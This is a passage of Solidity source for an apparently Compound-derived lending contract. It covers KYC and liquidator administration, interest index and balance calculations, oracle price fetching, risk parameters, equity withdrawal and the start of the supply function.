* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
}
/**
* The `WithdrawLocalVars` struct is used internally in the `withdraw` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct WithdrawLocalVars {
uint256 withdrawAmount;
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
uint256 withdrawCapacity;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfWithdrawal;
}
// The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function.
struct AccountValueLocalVars {
address assetAddress;
uint256 collateralMarketsLength;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Exp borrowTotalValue;
Exp sumBorrows;
Exp supplyTotalValue;
Exp sumSupplies;
}
// The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function.
struct PayBorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 repayAmount;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
}
// The `BorrowLocalVars` struct is used internally in the `borrow` function.
struct BorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 borrowAmountWithFee;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfBorrowAmountWithFee;
}
// The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function.
struct LiquidateLocalVars {
// we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.`
address targetAccount;
address assetBorrow;
address liquidator;
address assetCollateral;
// borrow index and supply index are global to the asset, not specific to the user
uint256 newBorrowIndex_UnderwaterAsset;
uint256 newSupplyIndex_UnderwaterAsset;
uint256 newBorrowIndex_CollateralAsset;
uint256 newSupplyIndex_CollateralAsset;
// the target borrow's full balance with accumulated interest
uint256 currentBorrowBalance_TargetUnderwaterAsset;
// currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation
uint256 updatedBorrowBalance_TargetUnderwaterAsset;
uint256 newTotalBorrows_ProtocolUnderwaterAsset;
uint256 startingBorrowBalance_TargetUnderwaterAsset;
uint256 startingSupplyBalance_TargetCollateralAsset;
uint256 startingSupplyBalance_LiquidatorCollateralAsset;
uint256 currentSupplyBalance_TargetCollateralAsset;
uint256 updatedSupplyBalance_TargetCollateralAsset;
// If liquidator already has a balance of collateralAsset, we will accumulate
// interest on it before transferring seized collateral from the borrower.
uint256 currentSupplyBalance_LiquidatorCollateralAsset;
// This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any)
// plus the amount seized from the borrower.
uint256 updatedSupplyBalance_LiquidatorCollateralAsset;
uint256 newTotalSupply_ProtocolCollateralAsset;
uint256 currentCash_ProtocolUnderwaterAsset;
uint256 updatedCash_ProtocolUnderwaterAsset;
// cash does not change for collateral asset
uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset;
uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset;
// Why no variables for the interest rates for the collateral asset?
// We don't need to calculate new rates for the collateral asset since neither cash nor borrows change
uint256 discountedRepayToEvenAmount;
//[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral)
uint256 discountedBorrowDenominatedCollateral;
uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset;
uint256 closeBorrowAmount_TargetUnderwaterAsset;
uint256 seizeSupplyAmount_TargetCollateralAsset;
uint256 reimburseAmount;
Exp collateralPrice;
Exp underwaterAssetPrice;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows
*/
mapping(address => mapping(address => uint256))
public originationFeeBalance;
/**
* @dev Reward Control Contract address
*/
RewardControlInterface public rewardControl;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 public _guardCounter;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
/**
* @dev Events to notify the frontend of all the functions below
*/
event LiquidatorChanged(address indexed Liquidator, bool newStatus);
/**
* @dev emitted when a supply is received
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyReceived(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a supply is withdrawn
* Note: startingBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyWithdrawn(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a new borrow is taken
* Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change
*/
event BorrowTaken(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 borrowAmountWithFee,
uint256 newBalance
);
/**
* @dev emitted when a borrow is repaid
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event BorrowRepaid(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a borrow is liquidated
* targetAccount = user whose borrow was liquidated
* assetBorrow = asset borrowed
* borrowBalanceBefore = borrowBalance as most recently stored before the liquidation
* borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountRepaid = amount of borrow repaid
* liquidator = account requesting the liquidation
* assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan
* borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid)
* collateralBalanceBefore = collateral balance as most recently stored before the liquidation
* collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountSeized = amount of collateral seized by liquidator
* collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized)
* assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3
*/
event BorrowLiquidated(
address indexed targetAccount,
address assetBorrow,
uint256 borrowBalanceAccumulated,
uint256 amountRepaid,
address indexed liquidator,
address assetCollateral,
uint256 amountSeized
);
/**
* @dev emitted when admin withdraws equity
* Note that `equityAvailableBefore` indicates equity before `amount` was removed.
*/
event EquityWithdrawn(
address indexed asset,
uint256 equityAvailableBefore,
uint256 amount,
address indexed owner
);
/**
* @dev KYC Integration
*/
/**
* @dev Events to notify the frontend of all the functions below
*/
event KYCAdminChanged(address indexed KYCAdmin, bool newStatus);
event KYCCustomerChanged(address indexed KYCCustomer, bool newStatus);
/**
* @dev Function for use by the admin of the contract to add or remove KYC Admins
*/
function _changeKYCAdmin(address KYCAdmin, bool newStatus)
public
onlyOwner
{
KYCAdmins[KYCAdmin] = newStatus;
emit KYCAdminChanged(KYCAdmin, newStatus);
}
/**
* @dev Function for use by the KYC admins to add or remove KYC Customers
*/
function _changeCustomerKYC(address customer, bool newStatus) public {
require(KYCAdmins[msg.sender], "KYC_ADMIN_CHECK_FAILED");
customersWithKYC[customer] = newStatus;
emit KYCCustomerChanged(customer, newStatus);
}
/**
* @dev Liquidator Integration
*/
/**
* @dev Function for use by the admin of the contract to add or remove Liquidators
*/
function _changeLiquidator(address liquidator, bool newStatus)
public
onlyOwner
{
liquidators[liquidator] = newStatus;
emit LiquidatorChanged(liquidator, newStatus);
}
/**
* @dev Simple function to calculate min between two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
/**
* @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse.
* Note: this will not add the asset if it already exists.
*/
function addCollateralMarket(address asset) internal {
for (uint256 i = 0; i < collateralMarkets.length; i++) {
if (collateralMarkets[i] == asset) {
return;
}
}
collateralMarkets.push(asset);
}
/**
* @dev Calculates a new supply index based on the prevailing interest rates applied over time
* This is defined as `we multiply the most recent supply index by (1 + blocks times rate)`
* @return Return value is expressed in 1e18 scale
*/
function calculateInterestIndex(
uint256 startingInterestIndex,
uint256 interestRateMantissa,
uint256 blockStart,
uint256 blockEnd
) internal pure returns (Error, uint256) {
// Get the block delta
(Error err0, uint256 blockDelta) = sub(blockEnd, blockStart);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
// Scale the interest rate times number of blocks
// Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.`
(Error err1, Exp memory blocksTimesRate) = mulScalar(
Exp({mantissa: interestRateMantissa}),
blockDelta
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
// Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0)
(Error err2, Exp memory onePlusBlocksTimesRate) = addExp(
blocksTimesRate,
Exp({mantissa: mantissaOne})
);
if (err2 != Error.NO_ERROR) {
return (err2, 0);
}
// Then scale that accumulated interest by the old interest index to get the new interest index
(Error err3, Exp memory newInterestIndexExp) = mulScalar(
onePlusBlocksTimesRate,
startingInterestIndex
);
if (err3 != Error.NO_ERROR) {
return (err3, 0);
}
// Finally, truncate the interest index. This works only if interest index starts large enough
// that is can be accurately represented with a whole number.
return (Error.NO_ERROR, truncate(newInterestIndexExp));
}
/**
* @dev Calculates a new balance based on a previous balance and a pair of interest indices
* This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex
* value and divided by the user's checkpoint index value`
* @return Return value is expressed in 1e18 scale
*/
function calculateBalance(
uint256 startingBalance,
uint256 interestIndexStart,
uint256 interestIndexEnd
) internal pure returns (Error, uint256) {
if (startingBalance == 0) {
// We are accumulating interest on any previous balance; if there's no previous balance, then there is
// nothing to accumulate.
return (Error.NO_ERROR, 0);
}
(Error err0, uint256 balanceTimesIndex) = mul(
startingBalance,
interestIndexEnd
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return div(balanceTimesIndex, interestIndexStart);
}
/**
* @dev Gets the price for the amount specified of the given asset.
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmount(
address asset,
uint256 assetAmount,
bool mulCollatRatio
) internal view returns (Error, Exp memory) {
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
if (mulCollatRatio) {
Exp memory scaledPrice;
// Now, multiply the assetValue by the collateral ratio
(err, scaledPrice) = mulExp(collateralRatio, assetPrice);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
// Get the price for the given asset amount
return mulScalar(scaledPrice, assetAmount);
}
return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth
}
/**
* @dev Calculates the origination fee added to a given borrowAmount
* This is simply `(1 + originationFee) * borrowAmount`
* @return Return value is expressed in 1e18 scale
*/
function calculateBorrowAmountWithFee(uint256 borrowAmount)
internal
view
returns (Error, uint256)
{
// When origination fee is zero, the amount with fee is simply equal to the amount
if (isZeroExp(originationFee)) {
return (Error.NO_ERROR, borrowAmount);
}
(Error err0, Exp memory originationFeeFactor) = addExp(
originationFee,
Exp({mantissa: mantissaOne})
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
(Error err1, Exp memory borrowAmountWithFee) = mulScalar(
originationFeeFactor,
borrowAmount
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
return (Error.NO_ERROR, truncate(borrowAmountWithFee));
}
/**
* @dev fetches the price of asset from the PriceOracle and converts it to Exp
* @param asset asset whose price should be fetched
* @return Return value is expressed in a magnified scale per token decimals
*/
function fetchAssetPrice(address asset)
internal
view
returns (Error, Exp memory)
{
if (priceOracle == address(0)) {
return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));
}
if (priceOracle.paused()) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
(uint256 priceMantissa, uint8 assetDecimals) = priceOracle
.getAssetPrice(asset);
(Error err, uint256 magnification) = sub(18, uint256(assetDecimals));
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
(err, priceMantissa) = mul(priceMantissa, 10**magnification);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));
}
/**
* @notice Reads scaled price of specified asset from the price oracle
* @dev Reads scaled price of specified asset from the price oracle.
* The plural name is to match a previous storage mapping that this function replaced.
* @param asset Asset whose price should be retrieved
* @return 0 on an error or missing price, the price scaled by 1e18 otherwise
*/
function assetPrices(address asset) public view returns (uint256) {
(Error err, Exp memory result) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return 0;
}
return result.mantissa;
}
/**
* @dev Gets the amount of the specified asset given the specified Eth value
* ethValue / oraclePrice = assetAmountWei
* If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)
* @return Return value is expressed in a magnified scale per token decimals
*/
function getAssetAmountForValue(address asset, Exp ethValue)
internal
view
returns (Error, uint256)
{
Error err;
Exp memory assetPrice;
Exp memory assetAmount;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, assetAmount) = divExp(ethValue, assetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(assetAmount));
}
/**
* @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin
* @param newOracle New oracle address
* @param requestedState value to assign to `paused`
* @param originationFeeMantissa rational collateral ratio, scaled by 1e18.
* @param newCloseFactorMantissa new Close Factor, scaled by 1e18
* @param wethContractAddress WETH Contract Address
* @param _rewardControl Reward Control Address
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _adminFunctions(
address newPendingAdmin,
address newOracle,
bool requestedState,
uint256 originationFeeMantissa,
uint256 newCloseFactorMantissa,
address wethContractAddress,
address _rewardControl
) public onlyOwner returns (uint256) {
// newPendingAdmin can be 0x00, hence not checked
require(newOracle != address(0), "Cannot set weth address to 0x00");
require(
originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18,
"Invalid Origination Fee or Close Factor Mantissa"
);
// Store pendingAdmin = newPendingAdmin
pendingAdmin = newPendingAdmin;
// Verify contract at newOracle address supports assetPrices call.
// This will revert if it doesn't.
// ChainLink priceOracleTemp = ChainLink(newOracle);
// priceOracleTemp.getAssetPrice(address(0));
// Initialize the Chainlink contract in priceOracle
priceOracle = ChainLink(newOracle);
paused = requestedState;
originationFee = Exp({mantissa: originationFeeMantissa});
closeFactorMantissa = newCloseFactorMantissa;
require(
wethContractAddress != address(0),
"Cannot set weth address to 0x00"
);
wethAddress = wethContractAddress;
WETHContract = AlkemiWETH(wethAddress);
rewardControl = RewardControlInterface(_rewardControl);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() public {
// Check caller = pendingAdmin
// msg.sender can't be zero
require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK");
// Store admin = pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = 0;
}
/**
* @notice returns the liquidity for given account.
* a positive result indicates ability to borrow, whereas
* a negative result indicates a shortfall which may be liquidated
* @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0
* note: this includes interest trued up on all balances
* @param account the account to examine
* @return signed integer in terms of eth-wei (negative indicates a shortfall)
*/
function getAccountLiquidity(address account) public view returns (int256) {
(
Error err,
Exp memory accountLiquidity,
Exp memory accountShortfall
) = calculateAccountLiquidity(account);
revertIfError(err);
if (isZeroExp(accountLiquidity)) {
return -1 * int256(truncate(accountShortfall));
} else {
return int256(truncate(accountLiquidity));
}
}
/**
* @notice return supply balance with any accumulated interest for `asset` belonging to `account`
* @dev returns supply balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose supply balance belonging to `account` should be checked
* @return uint supply balance on success, throws on failed assertion otherwise
*/
function getSupplyBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[account][asset];
// Calculate the newSupplyIndex, needed to calculate user's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
newSupplyIndex
);
revertIfError(err);
return userSupplyCurrent;
}
/**
* @notice return borrow balance with any accumulated interest for `asset` belonging to `account`
* @dev returns borrow balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose borrow balance belonging to `account` should be checked
* @return uint borrow balance on success, throws on failed assertion otherwise
*/
function getBorrowBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[account][asset];
// Calculate the newBorrowIndex, needed to calculate user's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
newBorrowIndex
);
revertIfError(err);
return userBorrowCurrent;
}
/**
* @notice Supports a given market (asset) for use
* @dev Admin function to add support for a market
* @param asset Asset to support; MUST already have a non-zero price set
* @param interestRateModel InterestRateModel to use for the asset
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _supportMarket(address asset, InterestRateModel interestRateModel)
public
onlyOwner
returns (uint256)
{
// Hard cap on the maximum number of markets allowed
require(
interestRateModel != address(0) &&
collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED
"INPUT_VALIDATION_FAILED"
);
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);
}
if (isZeroExp(assetPrice)) {
return
fail(
Error.ASSET_NOT_PRICED,
FailureInfo.SUPPORT_MARKET_PRICE_CHECK
);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
// Append asset to collateralAssets if not set
addCollateralMarket(asset);
// Set market isSupported to true
markets[asset].isSupported = true;
// Default supply and borrow index to 1e18
if (markets[asset].supplyIndex == 0) {
markets[asset].supplyIndex = initialInterestIndex;
}
if (markets[asset].borrowIndex == 0) {
markets[asset].borrowIndex = initialInterestIndex;
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Suspends a given *supported* market (asset) from use.
* Assets in this state do count for collateral, but users may only withdraw, payBorrow,
* and liquidate the asset. The liquidate function no longer checks collateralization.
* @dev Admin function to suspend a market
* @param asset Asset to suspend
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _suspendMarket(address asset) public onlyOwner returns (uint256) {
// If the market is not configured at all, we don't want to add any configuration for it.
// If we find !markets[asset].isSupported then either the market is not configured at all, or it
// has already been marked as unsupported. We can just return without doing anything.
// Caller is responsible for knowing the difference between not-configured and already unsupported.
if (!markets[asset].isSupported) {
return uint256(Error.NO_ERROR);
}
// If we get here, we know market is configured and is supported, so set isSupported to false
markets[asset].isSupported = false;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the risk parameters: collateral ratio and liquidation discount
* @dev Owner function to set the risk parameters
* @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRiskParameters(
uint256 collateralRatioMantissa,
uint256 liquidationDiscountMantissa
) public onlyOwner returns (uint256) {
// Input validations
require(
collateralRatioMantissa >= minimumCollateralRatioMantissa &&
liquidationDiscountMantissa <=
maximumLiquidationDiscountMantissa,
"Liquidation discount is more than max discount or collateral ratio is less than min ratio"
);
Exp memory newCollateralRatio = Exp({
mantissa: collateralRatioMantissa
});
Exp memory newLiquidationDiscount = Exp({
mantissa: liquidationDiscountMantissa
});
Exp memory minimumCollateralRatio = Exp({
mantissa: minimumCollateralRatioMantissa
});
Exp memory maximumLiquidationDiscount = Exp({
mantissa: maximumLiquidationDiscountMantissa
});
Error err;
Exp memory newLiquidationDiscountPlusOne;
// Make sure new collateral ratio value is not below minimum value
if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) {
return
fail(
Error.INVALID_COLLATERAL_RATIO,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the
// existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential.
if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) {
return
fail(
Error.INVALID_LIQUIDATION_DISCOUNT,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount`
// C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount`
(err, newLiquidationDiscountPlusOne) = addExp(
newLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
revertIfError(err); // We already validated that newLiquidationDiscount does not approach overflow size
if (
lessThanOrEqualExp(
newCollateralRatio,
newLiquidationDiscountPlusOne
)
) {
return
fail(
Error.INVALID_COMBINED_RISK_PARAMETERS,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Store new values
collateralRatio = newCollateralRatio;
liquidationDiscount = newLiquidationDiscount;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the interest rate model for a given market
* @dev Admin function to set interest rate model
* @param asset Asset to support
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setMarketInterestRateModel(
address asset,
InterestRateModel interestRateModel
) public onlyOwner returns (uint256) {
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply
* @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply
* @param asset asset whose equity should be withdrawn
* @param amount amount of equity to withdraw; must not exceed equity available
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _withdrawEquity(address asset, uint256 amount)
public
onlyOwner
returns (uint256)
{
// Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.
uint256 cash = getCash(asset);
// Get supply and borrows with interest accrued till the latest block
(
uint256 supplyWithInterest,
uint256 borrowWithInterest
) = getMarketBalances(asset);
(Error err0, uint256 equity) = addThenSub(
getCash(asset),
borrowWithInterest,
supplyWithInterest
);
if (err0 != Error.NO_ERROR) {
return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);
}
if (amount > equity) {
return
fail(
Error.EQUITY_INSUFFICIENT_BALANCE,
FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset out of the protocol to the admin
Error err2 = doTransferOut(asset, admin, amount);
if (err2 != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return
fail(
err2,
FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED
);
}
} else {
withdrawEther(admin, amount); // send Ether to user
}
(, markets[asset].supplyRateMantissa) = markets[asset]
.interestRateModel
.getSupplyRate(asset, cash - amount, markets[asset].totalSupply);
(, markets[asset].borrowRateMantissa) = markets[asset]
.interestRateModel
.getBorrowRate(asset, cash - amount, markets[asset].totalBorrows);
//event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)
emit EquityWithdrawn(asset, equity, amount, admin);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user
* @return errors if any
* @param etherAmount Amount of ether to be converted to WETH
*/
function supplyEther(uint256 etherAmount) internal returns (uint256) {
require(wethAddress != address(0), "WETH_ADDRESS_NOT_SET_ERROR");
WETHContract.deposit.value(etherAmount)();
return uint256(Error.NO_ERROR);
}
/**
* @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason
* @param etherAmount Amount of ether to be sent back to user
* @param user User account address
*/
function revertEtherToUser(address user, uint256 etherAmount) internal {
if (etherAmount > 0) {
user.transfer(etherAmount);
}
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint256 amount)
public
payable
nonReentrant
onlyCustomerWithKYC
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
refreshAlkIndex(asset, msg.sender, true, true);
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED
);
}
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// Fail gracefully if asset is not approved or has insufficient balance
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
amount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
